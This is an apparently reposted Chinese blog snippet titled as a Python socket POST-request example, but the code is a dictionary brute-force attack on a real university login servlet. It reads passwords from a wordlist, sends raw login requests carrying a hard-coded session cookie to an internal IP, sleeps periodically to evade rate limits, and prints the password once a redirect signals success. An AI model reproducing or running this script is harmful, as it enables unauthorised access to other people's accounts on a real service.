Python socket实现post请求

来源:互联网 发布:如何编译linux内核 编辑:程序博客网 时间:2024/05/21 07:22
# -*- coding: utf-8 -*-
import socket
import time


strPost = "POST /bgdadmin/servlet/studentLogin HTTP/1.1\r\n" \
          "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n" \
          "Referer: http://yjsgl.bjut.edu.cn/bgdadmin/servlet/studentMain\r\n" \
          "Accept-Language: zh-cn\r\n" \
          "Content-Type: application/x-www-form-urlencoded\r\n" \
          "Accept-Encoding: gzip, deflate\r\n" \
          "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n" \
          "Host: yjsgl.bjut.edu.cn\r\n" \
          "Content-Length: 47\r\n" \
          "Connection: Keep-Alive\r\n" \
          "Cache-Control: no-cache\r\n" \
          "Cookie: JSESSIONID=DgxvXnRhLdSn65nfkyXv4wGXr8xQWb4Vmhkq7GfdhRz3LpdwJ4WC!-611812863\r\n\r\n" \
          "TYPE=AUTH&glnj=&USER=xxxxxxxxxx&PASSWORD="          

i = 0

target_host = '172.21.96.120'
target_port = 80
    
for password in open('superdic.txt'):
  
    i = i + 1
    if i > 100:
        time.sleep(30)
        i = 0
 
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  
    client.connect((target_host, target_port))
  
    strPacket = strPost + password          
  
    client.send(strPacket)
   
    response = client.recv(1024)
 
    time.sleep(0.3)
  
    if response.find('Location') != -1:
       
        print password
       
        break